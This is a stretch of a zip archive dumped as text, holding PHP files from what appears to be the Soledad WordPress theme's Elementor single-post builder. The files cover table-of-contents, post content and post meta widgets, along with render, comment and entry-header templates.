		return esc_html__( 'Post - Table of Content', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-table-of-contents';
	}

	public function get_categories() {
		return [ 'penci-single-builder' ];
	}

	public function get_keywords() {
		return [ 'single', 'toc', 'table' ];
	}

	protected function register_controls() {

		$this->start_controls_section(
			'content_section',
			[
				'label' => esc_html__( 'General', 'soledad' ),
				'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
			]
		);

		$this->add_control(
			'html_tag',
			[
				'label'    => esc_html__( 'HTMl Tag', 'soledad' ),
				'type'     => \Elementor\Controls_Manager::SELECT2,
				'multiple' => true,
				'default'  => 'h2',
				'options'  => [
					'h1' => 'H1',
					'h2' => 'H2',
					'h3' => 'H3',
					'h4' => 'H4',
					'h5' => 'H5',
					'h6' => 'H6',
				]
			]
		);

		$this->add_control(
			'heading_title',
			[
				'label'   => esc_html__( 'Heading Title', 'soledad' ),
				'type'    => \Elementor\Controls_Manager::TEXT,
				'default' => __( 'Table of content', 'soledad' )
			]
		);

		$this->add_control(
			'marker_view',
			[
				'label'   => esc_html__( 'Marker View', 'soledad' ),
				'type'    => \Elementor\Controls_Manager::SELECT,
				'default' => 'number',
				'options' => [
					'none'    => 'None',
					'number'  => 'Number',
					'bullets' => 'Bullets',
				]
			]
		);

		$this->add_responsive_control(
			'table_width',
			[
				'label'     => esc_html__( 'Table of Content Width', 'soledad' ),
				'type'      => \Elementor\Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 200,
						'max' => 1200,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-toc-wrapper' => 'max-width: {{SIZE}}{{UNIT}};',
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'color_style',
			[
				'label' => esc_html__( 'Color & Styles', 'soledad' ),
				'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_control(
			'toc-heading-genr-style',
			[
				'label' => 'General Style',
				'type'  => \Elementor\Controls_Manager::HEADING,
			]
		);

		$this->add_control(
			'toc-bg',
			[
				'label'     => 'General Background Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => [ '{{WRAPPER}} .penci-toc-wrapper' => 'background-color:{{VALUE}}' ],
			]
		);

		$this->add_control(
			'toc-border-cl',
			[
				'label'     => 'General Borders Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => [ '{{WRAPPER}} .penci-toc ol ol, {{WRAPPER}} .penci-toc ol li, {{WRAPPER}} .penci-toc ul li, {{WRAPPER}} .penci-toc ul ul, {{WRAPPER}} .penci-toc-wrapper .penci-toc-head' => 'border-color:{{VALUE}}' ],
			]
		);

		$this->add_group_control(
			\Elementor\Group_Control_Typography::get_type(), array(
				'name'     => 'toc_typo',
				'label'    => __( 'Typography for Heading', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-toc-wrapper .penci-toc-head',
			)
		);

		$this->add_control(
			'toc-heading-color',
			[
				'label'     => 'Heading Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => [ '{{WRAPPER}} .penci-toc-wrapper .penci-toc-head' => 'color:{{VALUE}}' ],
			]
		);

		$this->add_group_control(
			\Elementor\Group_Control_Typography::get_type(), array(
				'name'     => 'toc_1st_class',
				'label'    => __( 'Typography for Parent Heading', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-toc ul a, {{WRAPPER}} .penci-toc ol a',
			)
		);

		$this->add_control(
			'toc_1st_color',
			[
				'label'     => 'Parent Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => [ '{{WRAPPER}} .penci-toc ul > li > a, {{WRAPPER}} .penci-toc ol > li > a' => 'color:{{VALUE}}' ],
			]
		);

		$this->add_group_control(
			\Elementor\Group_Control_Typography::get_type(), array(
				'name'     => 'toc_child_class',
				'label'    => __( 'Typography for Child Heading', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-toc ul ul a, {{WRAPPER}} .penci-toc ol ol a',
			)
		);

		$this->add_control(
			'toc_child_color',
			[
				'label'     => 'Child Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => [ '{{WRAPPER}} .penci-toc ul ul a, {{WRAPPER}} .penci-toc ol ol a' => 'color:{{VALUE}}' ],
			]
		);

		$this->end_controls_section();

	}

	protected function render() {
		if ( penci_elementor_is_edit_mode() ) {
			$this->preview_content();
		} else {
			$this->builder_content();
		}
	}

	protected function preview_content() {
		$settings = $this->get_settings();
		$marker   = $settings['marker_view'];
		?>
        <div class="penci-toc-wrapper style-<?php echo esc_attr( $marker ); ?>">
            <div class="penci-toc-head"><?php echo esc_attr( $settings['heading_title'] ); ?></div>

            <nav class="js-toc penci-toc">
                <ol class="toc-list ">
                    <li class="toc-list-item is-active-li"><a href="#"
                                                              class="toc-link node-name--H2  is-active-link">Parent
                            Title</a>
                        <ol class="toc-list  is-collapsible">
                            <li class="toc-list-item"><a href="#" class="toc-link node-name--H3 ">Child name - 1</a>
                            </li>
                            <li class="toc-list-item"><a href="#" class="toc-link node-name--H3 ">Child name - 2</a>
                            </li>
                            <li class="toc-list-item"><a href="#" class="toc-link node-name--H3 ">Child name - 3</a>
                            </li>
                        </ol>
                    </li>
                    <li class="toc-list-item"><a href="#" class="toc-link node-name--H2 ">Parent Title</a></li>
                    <li class="toc-list-item"><a href="#" class="toc-link node-name--H2 ">Parent Title</a>
                        <ol class="toc-list is-collapsible is-collapsed">
                            <li class="toc-list-item"><a href="#" class="toc-link node-name--H3 ">Child name - 1</a>
                            </li>
                        </ol>
                    </li>
                    <li class="toc-list-item"><a href="#" class="toc-link node-name--H2 ">Parent Title</a>
                        <ol class="toc-list  is-collapsible is-collapsed">
                            <li class="toc-list-item"><a href="#" class="toc-link node-name--H3 ">Child name - 1</a>
                            </li>
                            <li class="toc-list-item"><a href="#" class="toc-link node-name--H3 ">Child name - 2</a>
                                <ol class="toc-list  is-collapsible is-collapsed">
                                    <li class="toc-list-item"><a href="#" class="toc-link node-name--H4 ">Sub Child name
                                            - 1</a></li>
                                    <li class="toc-list-item"><a href="#"
                                                                 class="toc-link node-name--H4 ">Sub Child name - 2</a>
                                    </li>
                                    <li class="toc-list-item"><a href="#"
                                                                 class="toc-link node-name--H4 ">Sub Child name - 3</a>
                                    </li>
                                </ol>
                            </li>
                        </ol>
                    </li>
                    <li class="toc-list-item"><a href="#" class="toc-link node-name--H2 ">Parent Title</a>
                    </li>
                </ol>
            </nav>
        </div>
		<?php
	}

	protected function builder_content() {
		$settings      = $this->get_settings();
		$tags          = $settings['html_tag'];
		$marker        = $settings['marker_view'];
		$validate_tags = is_array( $tags ) ? implode( ',', $settings['html_tag'] ) : $settings['html_tag'];
		wp_enqueue_script( 'penci-toc', PENCI_SOLEDAD_URL . '/js/jquery.toc.js', '', PENCI_SOLEDAD_VERSION, true );
		wp_add_inline_script( 'penci-toc', 'jQuery(".js-toc").toc({content: "div.post-entry", headings: "' . $validate_tags . '"})' );
		?>
        <div class="penci-toc-wrapper style-<?php echo esc_attr( $marker ); ?>">
            <div class="penci-toc-head"><?php echo esc_attr( $settings['heading_title'] ); ?></div>
            <nav class="penci-toc">
                <ul class="js-toc"></ul>
            </nav>
        </div>
		<?php
	}
}
PK     2w\=(      +  template-builder/single-elements/render.phpnu [        <?php
add_filter( 'body_class', function ( $class ) {
	$class[] = 'pccustom-template-enable';

	return $class;
} );
get_header();
penci_set_post_views(get_the_ID());
// load next posts
$postID            = get_the_ID();
$current_permalink = get_permalink( $postID );
$current_title     = get_the_title( $postID );
$infinite_load     = get_theme_mod( 'penci_loadnp_posts' ) ? get_theme_mod( 'penci_loadnp_posts' ) : false;
$prev_post_id      = $prev_post_url = $prev_post_title = $wrap_inficlass = $flag_infi = '';
$data_infiads      = get_theme_mod( 'penci_loadnp_ads' ) ? '<div class="penci-single-infiads">' . get_theme_mod( 'penci_loadnp_ads' ) . '</div>' : '';
if ( get_theme_mod( 'penci_loadnp_posts' ) ) {
	$prev_post = penci_get_next_prev_posts();
	$flag_infi = 'no_data';
	if ( ! empty( $prev_post ) && $prev_post != null && $prev_post != '' ) {
		$prev_post_id    = $prev_post->ID;
		$prev_post_url   = get_permalink( $prev_post_id );
		$prev_post_title = get_the_title( $prev_post_id );
		$wrap_inficlass  = ' penci-single-infiscroll';
		$flag_infi       = 'has_data';
	}
}
?>
<div class="container-single-page penci-single-wrapper<?php echo $wrap_inficlass; ?>"<?php if ( get_theme_mod( 'penci_loadnp_posts' ) && $data_infiads ) {
	echo ' data-infiads="' . htmlentities( $data_infiads ) . '"';
} ?>>
    <div id="main" class="penci-custom-single-template penci-single-block<?php if ( $flag_infi == 'no_data' ) {
		echo ' penci-single-infiblock-end';
	} ?>"<?php if ( get_theme_mod( 'penci_loadnp_posts' ) ): ?>
        data-prev-url="<?php echo esc_url( $prev_post_url ); ?>"
        data-current-url="<?php echo esc_url( $current_permalink ); ?>"
        data-post-title="<?php echo esc_attr( $current_title ); ?>"
        data-edit-post="<?php echo get_edit_post_link( $postID ); ?>"
        data-postid="<?php echo $postID; ?>"<?php endif; ?>>
		<?php
		$html      = '';
		$post_template_id = penci_should_render_single_template();
		if ( $post_template_id ) {

			if ( did_action( 'elementor/loaded' ) && \Elementor\Plugin::$instance->documents->get( $post_template_id )->is_built_with_elementor() ) {


				if ( have_posts() ) : while ( have_posts() ) : the_post();
					$html = penci_get_elementor_content( $post_template_id );
				endwhile;endif;

				echo $html;
			} else {
				$builder_content = get_post( $post_template_id );
				echo '<div class="js-composer-content">';
				echo do_shortcode( $builder_content->post_content );

				$shortcodes_custom_css = get_post_meta( $post_template_id, '_wpb_shortcodes_custom_css', true );

				echo '<style data-type="vc_shortcodes-custom-css">';
				if ( ! empty( $shortcodes_custom_css ) ) {
					echo $shortcodes_custom_css;
				}
				echo '</style>';
				echo '</div>';
			}
		}
		?>
    </div>
</div>
<?php if ( get_theme_mod( 'penci_loadnp_posts' ) && $flag_infi != 'no_data' ) { ?>
    <div class="penci-ldsingle">
        <div class="penci-ldspinner">
            <div class="bounce1"></div>
            <div class="bounce2"></div>
            <div class="bounce3"></div>
        </div>
    </div>
<?php } ?>
<?php get_footer(); ?>
PK     2w\Ǎ;  ;  5  template-builder/single-elements/comment-template.phpnu [        <?php
// Get numbers comments
$comment_numbers = get_comments_number();
$hide_count      = 0;
if ( get_theme_mod( 'penci_single_comments_remove_name' ) ) {
	$hide_count += 1;
}
if ( get_theme_mod( 'penci_single_comments_remove_email' ) ) {
	$hide_count += 1;
}
if ( get_theme_mod( 'penci_single_comments_remove_website' ) ) {
	$hide_count += 1;
}
?>
<div class="post-comments<?php if ( $comment_numbers == 0 ): echo ' no-comment-yet'; endif;
echo ' penci-comments-hide-' . $hide_count; ?>" id="comments">
	<?php
	if ( have_comments() ) :
		if ( $GLOBALS['penci_custom_heading'] != 'yes' ) {
			echo '<div class="post-title-box"><h4 class="post-box-title">';
			comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) );
			echo '</h4></div>';
		}

		echo "<div class='comments'>";
		wp_list_comments( array(
			'avatar_size' => 100,
			'max_depth'   => 5,
			'style'       => 'div',
			'callback'    => 'penci_comments_template',
			'type'        => 'all'
		) );
		echo "</div>";

		echo "<div id='comments_pagination'>";
		paginate_comments_links( array( 'prev_text' => '&laquo;', 'next_text' => '&raquo;' ) );
		echo "</div>";

	endif;

	// If comments are closed and there are comments, let's leave a little note.
	if ( ! comments_open() && get_comments_number() && post_type_supports( get_post_type(), 'comments' ) ) :
		?>
        <p class="no-comments"><?php echo penci_get_setting( 'penci_trans_comments_closed' ); ?></p>
	<?php endif;
	?>
</div> <!-- end comments div -->
PK     2w\Y "   "  1  template-builder/single-elements/entry-header.phpnu [        <?php
$move_title_bellow    = false;
$avatar               = $args['penci_single_author_avatar'];
$avatarw              = isset( $args['penci_avatar_w'] ) && $args['penci_avatar_w'] ? $args['penci_avatar_w'] : 32;
$ava_icon_enable      = $args['penci_single_meta_ava_icon_check'];
$ava_icon             = $args['penci_single_meta_ava_icon'];
$date_icon_enable     = $args['penci_single_meta_date_icon_check'];
$date_icon            = $args['penci_single_meta_date_icon'];
$commment_icon_enable = $args['penci_single_meta_comment_icon_check'];
$commment_icon        = $args['penci_single_meta_comment_icon'];
$view_icon_enable     = $args['penci_single_meta_view_icon_check'];
$view_icon            = $args['penci_single_meta_view_icon'];
$reading_icon_enable  = $args['penci_single_meta_reading_icon_check'];
$reading_icon         = $args['penci_single_meta_reading_icon'];
$icon_style           = $args['meta_icon_style'];
$label_text           = $args['hide_meta_label'];
$thumb_alt            = $thumb_title_html = '';
global $post;
?>
<div class="header-standard header-classic single-header">
	<?php if ( ! $args['penci_post_cat'] ) : ?>
        <div class="penci-standard-cat penci-single-cat <?php echo $args['cat_pre_style']; ?>"><span
                    class="cat"><?php penci_category( '' ); ?></span></div>
	<?php endif; ?>

	<?php if ( ! $args['hide_title'] ): ?>
        <h1 class="post-title single-post-title entry-title"><span><?php the_title(); ?></span></h1>
	<?php endif; ?>
	<?php
	if ( ! $args['hide_subtitle'] ) {
		penci_display_post_subtitle();
	}
	?>
	<?php penci_soledad_meta_schema(); ?>
	<?php $hide_readtime = $args['penci_single_hreadtime']; ?>
	<?php if ( ! $args['penci_single_meta_author'] || ! $args['penci_single_meta_date'] || ! $args['penci_single_meta_comment'] || $args['penci_single_show_cview'] || penci_isshow_reading_time( $hide_readtime ) ) : ?>
        <div class="post-box-meta-single style-<?php echo esc_attr( $icon_style ); ?>">
			<?php if ( ! $args['penci_single_meta_author'] ) :
				?>
                <span class="author-post byline">
                                        <span class="author vcard">
                                            <?php
                                            if ( ! $ava_icon_enable && $ava_icon ) {
	                                            echo '<span class="pcmt-icon ava-icon">';
	                                            \Elementor\Icons_Manager::render_icon( $ava_icon );
	                                            echo '</span>';
                                            }
                                            ?>
	                                        <?php if ( ! $label_text ) {
		                                        echo penci_get_setting( 'penci_trans_written_by' );
	                                        } ?>
	                                        <?php
	                                        $author_ids = [];
	                                        $post_author_id = get_post_field( 'post_author', get_the_ID() );
	                                        if ( $post_author_id ) {
		                                        $author_ids[] = $post_author_id;
	                                        }
	                                        if ( function_exists( 'coauthors__echo' ) ) {
		                                        $author_list = coauthors__echo( 'ID', 'field', array(
			                                        'between'     => ',',
			                                        'betweenLast' => ',',
			                                        'before'      => '',
			                                        'after'       => '',
		                                        ), null, false );
		                                        if ( $author_list ) {
			                                        $author_ids = explode( ',', $author_list );
		                                        }
	                                        }
	                                        $total   = count( $author_ids );
	                                        $current = 0;
	                                        foreach ( $author_ids as $author_id ) {
		                                        $current ++;
		                                        ?>

                                                <a class="author-url url fn n"
                                                   href="<?php echo get_author_posts_url( $author_id ); ?>">
                                                <?php
                                                if ( ! $avatar ) {
	                                                echo get_avatar( $author_id, $avatarw );
                                                } else {
	                                                echo $current == 2 ? ', ' : ( ( $current == $total ) ? ' & ' : '' );
                                                }
                                                echo get_the_author_meta( 'display_name', $author_id ); ?>
                                            </a>
	                                        <?php } ?>
                                        </span>
                                    </span>
			<?php endif; ?>
			<?php if ( ! $args['penci_single_meta_date'] ) : ?>
                <span class="pctmp-date-post">
                                <?php
                                if ( ! $date_icon_enable && $date_icon ) {
	                                echo '<span class="pcmt-icon date-icon">';
	                                \Elementor\Icons_Manager::render_icon( $date_icon );
	                                echo '</span>';
                                }
                                ?>
                                <?php penci_soledad_time_link( 'single' ); ?></span>
			<?php endif; ?>
			<?php if ( ! $args['penci_single_meta_comment'] ) :
				?>
                <span class="pctmp-comment-post">
                                    <?php
                                    if ( ! $commment_icon_enable && $commment_icon ) {
	                                    echo '<span class="pcmt-icon comment-icon">';
	                                    \Elementor\Icons_Manager::render_icon( $commment_icon );
	                                    echo '</span>';
                                    }
                                    $comment_text  = ! $label_text ? ' ' . penci_get_setting( 'penci_trans_comment' ) : '';
                                    $comments_text = ! $label_text ? ' ' . penci_get_setting( 'penci_trans_comments' ) : '';
                                    ?>
                                    <?php comments_number( '0' . $comments_text, '1' . $comment_text, '%' . $comments_text ); ?></span>
			<?php endif; ?>
			<?php if ( ! $args['penci_single_show_cview'] ) : ?>
                <span class="pctmp-view-post">
                                    <?php
                                    if ( ! $view_icon_enable && $view_icon ) {
	                                    echo '<span class="pcmt-icon view-icon">';
	                                    \Elementor\Icons_Manager::render_icon( $view_icon );
	                                    echo '</span>';
                                    }
                                    ?>
                                        <i class="penci-post-countview-number"><?php echo penci_get_post_views( get_the_ID() ); ?></i><?php if ( ! $label_text ) {
						echo ' ' . penci_get_setting( 'penci_trans_countviews' );
					} ?></span>
			<?php endif; ?>
			<?php if ( penci_isshow_reading_time( $hide_readtime ) ):
				?>
                <span class="single-readtime">
                                    <?php
                                    if ( ! $reading_icon_enable && $reading_icon ) {
	                                    echo '<span class="pcmt-icon reading-icon">';
	                                    \Elementor\Icons_Manager::render_icon( $reading_icon );
	                                    echo '</span>';
                                    }
                                    ?>
                                    <?php penci_reading_time(); ?></span>
			<?php endif; ?>
			<?php
			if ( get_the_post_thumbnail_caption() && get_theme_mod( 'penci_post_thumb_caption' ) && ! $move_title_bellow ) {
				echo '<span class="penci-featured-caption penci-fixed-caption penci-caption-relative">' . get_the_post_thumbnail_caption() . '</span>';
			}
			?>
        </div>
	<?php endif; ?>
	<?php
	$recipe_title = get_post_meta( get_the_ID(), 'penci_recipe_title', true );
	if ( has_shortcode( get_the_content(), 'penci_recipe' ) || $recipe_title ) {
		do_action( 'penci_recipes_action_hook' );
	} ?>
</div>
PK     2w\V`#  #  ,  template-builder/single-elements/content.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciSingleContent extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Post - Content', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-post-content';
	}

	public function get_categories() {
		return [ 'penci-single-builder' ];
	}

	public function get_keywords() {
		return [ 'single', 'content' ];
	}

	protected function get_html_wrapper_class() {
		return 'pcsb-mct elementor-widget-' . $this->get_name();
	}

	public function get_name() {
		return 'penci-single-content';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'block_style', [
			'label'       => esc_html__( 'Blockquote Style', 'soledad' ),
			'description' => esc_html__( 'blockquote styles just applies when you use Classic Block or Classic Editor', 'soledad' ),
			'type'        => \Elementor\Controls_Manager::SELECT,
			'default'     => 'style-1',
			'options'     => [
				'style-1' => 'Style 1',
				'style-2' => 'Style 2',
				'style-3' => 'Style 3',
				'style-4' => 'Style 4',
				'style-5' => 'Style 5',
			]
		] );

		$this->add_control( 'ct_headingh1_style', [
			'label'   => esc_html__( 'Style for Heading 1', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => '',
			'options' => [
				''        => 'Default (No Style)',
				'style-1' => 'Style 1',
				'style-2' => 'Style 2',
				'style-3' => 'Style 3',
				'style-4' => 'Style 4',
				'style-5' => 'Style 5',
				'style-6' => 'Style 6',
			]
		] );

		$this->add_control( 'ct_headingh2_style', [
			'label'   => esc_html__( 'Style for Heading 2', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => '',
			'options' => [
				''        => 'Default (No Style)',
				'style-1' => 'Style 1',
				'style-2' => 'Style 2',
				'style-3' => 'Style 3',
				'style-4' => 'Style 4',
				'style-5' => 'Style 5',
				'style-6' => 'Style 6',
			]
		] );

		$this->add_control( 'ct_headingh3_style', [
			'label'   => esc_html__( 'Style for Heading 3', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => '',
			'options' => [
				''        => 'Default (No Style)',
				'style-1' => 'Style 1',
				'style-2' => 'Style 2',
				'style-3' => 'Style 3',
				'style-4' => 'Style 4',
				'style-5' => 'Style 5',
				'style-6' => 'Style 6',
			]
		] );

		$this->add_control( 'ct_headingh4_style', [
			'label'   => esc_html__( 'Style for Heading 4', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => '',
			'options' => [
				''        => 'Default (No Style)',
				'style-1' => 'Style 1',
				'style-2' => 'Style 2',
				'style-3' => 'Style 3',
				'style-4' => 'Style 4',
				'style-5' => 'Style 5',
				'style-6' => 'Style 6',
			]
		] );

		$this->add_control( 'ct_headingh5_style', [
			'label'   => esc_html__( 'Style for Heading 5', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => '',
			'options' => [
				''        => 'Default (No Style)',
				'style-1' => 'Style 1',
				'style-2' => 'Style 2',
				'style-3' => 'Style 3',
				'style-4' => 'Style 4',
				'style-5' => 'Style 5',
				'style-6' => 'Style 6',
			]
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'color_style', [
			'label' => esc_html__( 'Color & Styles', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'heading_typo',
			'label'    => __( 'Typography for General Content', 'soledad' ),
			'selector' => '{{WRAPPER}} .post-entry, {{WRAPPER}} .post-entry p, {{WRAPPER}} .post-entry span',
		) );

		$this->add_control( 'main-text-color', [
			'label'     => 'Text Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-entry, {{WRAPPER}} .post-entry p, {{WRAPPER}} .post-entry span' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'main-link-color', [
			'label'     => 'Link Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-entry a' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'main-link-hcolor', [
			'label'     => 'Link Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-entry a:hover' => 'color:{{VALUE}}' ],
		] );

		for ( $i = 1; $i <= 6; $i ++ ) {
			$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
				'name'     => 'heading_typo_h' . $i,
				'label'    => sprintf( __( 'Typography for H%s', 'soledad' ), $i ),
				'selector' => '{{WRAPPER}} .post-entry h' . $i,
			) );
			$this->add_control( "content_h{$i}_color", [
				'label'     => "H{$i} Color",
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => [ "{{WRAPPER}} .post-entry h{$i}" => 'color:{{VALUE}}' ],
			] );
		}


		$this->end_controls_section();

	}

	protected function render() {
		if ( penci_elementor_is_edit_mode() ) {
			$this->preview_content();
		} else {
			$this->builder_content();
		}
	}

	protected function preview_content() {
		$settings         = $this->get_settings();
		$block_style      = $settings['block_style'];
		$ct_heading_style = $this->penci_get_heading_style();
		?>
        <div class="post-entry <?php echo 'blockquote-' . $block_style; ?> <?php echo $ct_heading_style; ?>">
            <div class="inner-post-entry entry-content" id="penci-post-entry-inner">

				<?php do_action( 'penci_action_before_the_content' ); ?>

                <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Accusamus dolor expedita reiciendis veniam
                    voluptatum? Inventore labore quia quisquam repudiandae rerum unde. Accusantium consectetur
                    distinctio eius esse, necessitatibus quos sint tempore.</p>
                <h2>H2 Heading Tag</h2>
                <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Accusamus dolor expedita reiciendis veniam
                    voluptatum? Inventore labore quia quisquam repudiandae rerum unde. Accusantium consectetur
                    distinctio eius esse, necessitatibus quos sint tempore.</p>
                <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Accusamus dolor expedita reiciendis veniam
                    voluptatum? Inventore labore quia quisquam repudiandae rerum unde. Accusantium consectetur
                    distinctio eius esse, necessitatibus quos sint tempore.</p>
                <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Accusamus dolor expedita reiciendis veniam
                    voluptatum? Inventore labore quia quisquam repudiandae rerum unde. Accusantium consectetur
                    distinctio eius esse, necessitatibus quos sint tempore.</p>

				<?php do_action( 'penci_action_after_the_content' ); ?>

                <div class="penci-single-link-pages">
					<?php wp_link_pages(); ?>
                </div>
            </div>
        </div>
		<?php
	}

	protected function builder_content() {
		$settings         = $this->get_settings();
		$block_style      = $settings['block_style'];
		$ct_heading_style = $this->penci_get_heading_style();
		?>
        <article class="post">
            <div class="post-entry <?php echo 'blockquote-' . $block_style; ?> <?php echo $ct_heading_style; ?>">
                <div class="inner-post-entry entry-content" id="penci-post-entry-inner">

					<?php do_action( 'penci_action_before_the_content' ); ?>

					<?php the_content(); ?>

					<?php do_action( 'penci_action_after_the_content' ); ?>

                    <div class="penci-single-link-pages">
						<?php wp_link_pages(); ?>
                    </div>
                </div>
            </div>
        </article>

		<?php if ( get_theme_mod( 'penci_post_adsense_two' ) ) : ?>
            <div class="penci-google-adsense-2">
				<?php echo do_shortcode( get_theme_mod( 'penci_post_adsense_two' ) ); ?>
            </div>
		<?php endif;
	}

	protected function penci_get_heading_style() {

		$settings = $this->get_settings();

		$css_class = '';

		$h1_style = $settings['ct_headingh1_style'];
		$h2_style = $settings['ct_headingh2_style'];
		$h3_style = $settings['ct_headingh3_style'];
		$h4_style = $settings['ct_headingh4_style'];
		$h5_style = $settings['ct_headingh5_style'];

		if ( $h1_style ) {
			$css_class .= ' heading1-' . $h1_style;
		}

		if ( $h2_style ) {
			$css_class .= ' heading2-' . $h2_style;
		}

		if ( $h3_style ) {
			$css_class .= ' heading3-' . $h3_style;
		}

		if ( $h4_style ) {
			$css_class .= ' heading4-' . $h4_style;
		}

		if ( $h5_style ) {
			$css_class .= ' heading5-' . $h5_style;
		}

		return $css_class;

	}
}
PK     2w\4  4  )  template-builder/single-elements/meta.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciSingleMeta extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Post - Meta', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-meta-data';
	}

	public function get_categories() {
		return [ 'penci-single-builder' ];
	}

	public function get_keywords() {
		return [ 'single', 'meta' ];
	}

	protected function get_html_wrapper_class() {
		return 'pcsb-meta elementor-widget-' . $this->get_name();
	}

	public function get_name() {
		return 'penci-single-meta';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'meta_align', [
			'label'     => __( 'Meta Text Align', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::CHOOSE,
			'default'   => 'left',
			'options'   => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'toggle'    => true,
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single' => 'text-align:{{VALUE}}' ],
		] );

		$this->add_control( 'hide_meta_label', [
			'label' => __( 'Hide Meta Label Text', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::SWITCHER,
		] );

		$this->add_control( 'justify_align', [
			'label'     => __( 'Justify Align?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single' => 'display:flex;flex-wrap:wrap;justify-content:space-between;' ],
		] );

		$this->add_control( 'remove-divider', [
			'label'     => 'Remove Divider Character',
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single > span:before' => 'display:none' ],
		] );

		$this->add_control( 'meta-item-spacing', [
			'label'      => 'Spacing Between Meta',
			'type'       => \Elementor\Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 100 ),
			),
			'selectors'  => [
				'{{WRAPPER}} .post-box-meta-single > span:not(:last-child)' => 'margin-right:{{SIZE}}px;',
			],
		] );

		$this->add_control( 'penci_single_meta_author', [
			'label'     => esc_html__( 'Hide Author?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
		] );

		$this->add_control( 'penci_single_meta_author_update', [
			'label'     => esc_html__( 'Show Latest Update Author?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
		] );

		$this->add_control( 'penci_single_author_avatar', [
			'label'     => esc_html__( 'Hide Author Avatar?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
			'condition' => [ 'penci_single_meta_author!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_author_avatar_br', [
			'label'     => esc_html__( 'Author Borders Radius', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single .avatar' => 'border-radius:{{SIZE}}px' ],
			'condition' => [ 'penci_single_author_avatar!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_author_avatar_sp', [
			'label'     => esc_html__( 'Author Spacing', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
